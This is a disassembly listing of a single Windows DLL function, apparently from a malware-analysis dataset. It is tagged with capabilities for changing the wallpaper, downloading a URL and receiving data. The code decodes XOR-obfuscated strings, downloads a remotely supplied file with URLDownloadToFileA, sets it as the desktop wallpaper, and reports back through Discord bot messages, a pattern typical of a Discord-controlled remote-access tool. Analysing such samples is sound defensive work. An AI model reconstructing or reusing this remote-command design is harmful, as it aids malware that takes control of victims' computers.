Function at 0x180011ff0
Capabilities:
Change the wallpaper
Download url
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x660
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x18007e080]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
mov rsi, r8
mov qword [rbp + 0x40], rdx
mov r13, rcx
xor edi, edi
mov dword [rbp + 8], edi
lea rbx, [rdi - 1]
movabs r14, 0x383031d38d279444
movabs r12, 0x77ce189eb02cc24b
cmp qword [r8 + 0x10], rdi
je 0x180012228
movabs rax, 0x77e137a4c058b623
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x58], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
mov r8d, 7
cmp qword [rsi + 0x10], r8
cmovb r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1800120d4
mov rdx, qword [rsi]
lea rcx, [rbp + 0x80]
call fcn.1800047f0
nop
mov edi, 5
mov dword [rbp + 8], edi
lea rcx, [rbp + 0x50]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1800120f0
lea rcx, [rbp + 0x80]
mov r15, qword [rbp + 0x98]
cmp r15, 0xf
cmova rcx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
cmp r8, rax
jne 0x18001213b
lea rdx, [rbp + 0x50]
call fcn.180062900
test eax, eax
jne 0x18001213b
mov r14, qword [rbp + 0xf8]
xor r12b, r12b
jmp 0x180012239
movabs rax, 0x58e122edc058b623
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 8
cmp qword [rsi + 0x10], r8
cmovb r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1800121bd
mov rdx, qword [rsi]
lea rcx, [rbp + 0xe0]
call fcn.1800047f0
mov edi, 0x17
mov dword [rbp + 8], edi
lea rcx, [rbp + 0x60]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1800121e0
lea rcx, [rbp + 0xe0]
mov r14, qword [rbp + 0xf8]
cmp r14, 0xf
cmova rcx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
cmp r8, rax
jne 0x18001222f
lea rdx, [rbp + 0x60]
call fcn.180062900
test eax, eax
jne 0x18001222f
mov r15, qword [rbp + 0x98]
xor r12b, r12b
jmp 0x180012239
mov r14, qword [rbp + 0xf8]
mov r12b, 1
mov r15, qword [rbp + 0x98]
test dil, 2
je 0x180012297
and edi, 0xfffffffd
mov dword [rbp + 8], edi
cmp r14, 0xf
jbe 0x180012280
lea rdx, [r14 + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001227b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a74
call fcn.18003aaa4
movdqa xmm0, xmmword [0x180073f60]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
test dil, 1
je 0x1800122f5
and edi, 0xfffffffe
mov dword [rbp + 8], edi
cmp r15, 0xf
jbe 0x1800122de
lea rdx, [r15 + 1]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800122d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a7a
call fcn.18003aaa4
movdqa xmm0, xmmword [0x180073f60]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
test r12b, r12b
je 0x180012522
lea rax, [rbp + 0xe0]
mov qword [rbp + 8], rax
lea rcx, [rbp + 0xe0]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov rdi, rax
movabs rax, 0x19ee77f0d148ad1b
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa0], rcx
movabs rax, 0x5c5946b2ff57f12d
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa8], rcx
movabs rax, 0x9f6e6a82e0b83b1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xb0], rcx
movabs rax, 0x71c746bd2849bdfd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x5609bf92fe09c8aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rdx, 0xaafd74074abae948
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs r15, 0x77ce189eb02cc24b
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs r14, 0x383031d38d279444
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x679f8a88577cecdd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rcx, 0x1a6329d472d9d96
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0x5609bf92fe70bccf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xc0]
vxorps xmm0, xmm0, xmmword [rbp + 0x5a0]
vmovdqa xmmword [rbp + 0xc0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x20], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x30], xmm1
lea rax, [rbp + 0xa0]
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x180012487
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x20]
call fcn.1800047f0
nop
xor r9d, r9d
lea r8, [rbp + 0x20]
mov rdx, qword [rbp + 0x40]
mov rdx, qword [rdx + 0x48]
lea rcx, [rbp + 0x160]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::message::constructor_class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__enum_dpp::message_type____ptr64]
nop
mov r8, rdi
mov rdx, rax
mov rcx, r13
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::message_create_struct_dpp::message_const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64______ptr64]
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::message::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x180012a38
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180012a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a68
jmp 0x180012a33
movabs rax, 0x7af68f2dc4db517
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x383056a3e709e621
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs r15, 0x77ce189eb02cc24b
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs r14, 0x383031d38d279444
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x70], xmm0
lea rax, [rbp + 0x70]
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1800125a0
movabs rax, 0x7fffffffffffffff
mov rdx, qword [0x1800823f0]
sub rax, rdx
cmp rax, rcx
jb 0x180012a80
lea r9, [0x1800823e0]
cmp qword [0x1800823f8], 0xf
cmova r9, qword [0x1800823e0]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x550]
call fcn.180010e50
or dword [rbp + 8], 8
lea r8, [rbp + 0x550]
cmp qword [rbp + 0x568], 0xf
cmova r8, qword [rbp + 0x550]
cmp qword [rsi + 0x18], 0xf
jbe 0x180012621
mov rsi, qword [rsi]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x180012854
lea r8, [rbp + 0x550]
cmp qword [rbp + 0x568], 0xf
cmova r8, qword [rbp + 0x550]
xor edx, edx
lea ecx, [rdx + 0x14]
lea r9d, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
mov rdx, qword [rbp + 0x568]
cmp rdx, 0xf
jbe 0x1800126a7
inc rdx
mov rcx, qword [rbp + 0x550]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800126a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a86
call fcn.18003aaa4
movdqa xmm0, xmmword [0x180073f60]
movdqu xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x550], 0
lea rax, [rbp + 0x120]
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x120]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov rdi, rax
movabs rax, 0xdee79ead55ca31f
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
movabs rax, 0x4d1050bfec53e72b
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
movabs rax, 0x6f1e5e1201d98ae
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
movabs rcx, 0x1a6329d472d9d96
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x679f8a88577cecdd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x20], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xa0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0xb0], xmm1
lea rax, [rbp + 0x20]
vzeroupper
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800127b0
mov r8, rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.1800047f0
nop
xor r9d, r9d
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0x40]
mov rdx, qword [rdx + 0x48]
lea rcx, [rbp + 0x160]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::message::constructor_class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__enum_dpp::message_type____ptr64]
nop
mov r8, rdi
mov rdx, rax
mov rcx, r13
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::message_create_struct_dpp::message_const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64______ptr64]
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::message::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x180012a38
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180012a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a6e
jmp 0x180012a33
mov rdx, qword [rbp + 0x568]
cmp rdx, 0xf
jbe 0x180012895
inc rdx
mov rcx, qword [rbp + 0x550]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180012890
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a86
call fcn.18003aaa4
movdqa xmm0, xmmword [0x180073f60]
movdqu xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x550], 0
lea rax, [rbp + 0x120]
mov qword [rbp + 8], rax
lea rcx, [rbp + 0x120]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov rdi, rax
movabs rax, 0x1baf7ceb9049ab05
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x20], rcx
movabs rax, 0x4b4511b6e454b42b
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x28], rcx
movabs rax, 0x6ebaaeb3e0b8da9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
movabs rax, 0x1a6329d3e59f8e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x679f8a88577cecdd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rcx, 0x1a6329d472d9d96
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x20], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xa0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0xb0], xmm1
lea rax, [rbp + 0x20]
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800129a0
mov r8, rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.1800047f0
nop
xor r9d, r9d
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0x40]
mov rdx, qword [rdx + 0x48]
lea rcx, [rbp + 0x160]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::message::constructor_class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__enum_dpp::message_type____ptr64]
nop
mov r8, rdi
mov rdx, rax
mov rcx, r13
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::message_create_struct_dpp::message_const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64______ptr64]
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::message::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x180012a38
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180012a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180012a62
call fcn.18003aaa4
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.18003a6d0
mov rbx, qword [rsp + 0x6b8]
add rsp, 0x660
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800414a4
int3
call fcn.1800414a4
int3
call fcn.1800414a4
nop
call fcn.1800414a4
nop
call fcn.1800414a4
int3
call fcn.1800047d0
int3
call fcn.1800414a4
int3